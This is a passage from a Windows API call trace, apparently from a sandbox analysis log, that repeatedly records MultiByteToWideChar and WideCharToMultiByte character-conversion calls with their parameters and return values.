lpUsedDefaultChar=0x0) returned 1 [0048.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.679] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.681] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.682] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.683] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0048.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f838, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0048.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x18f842, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", 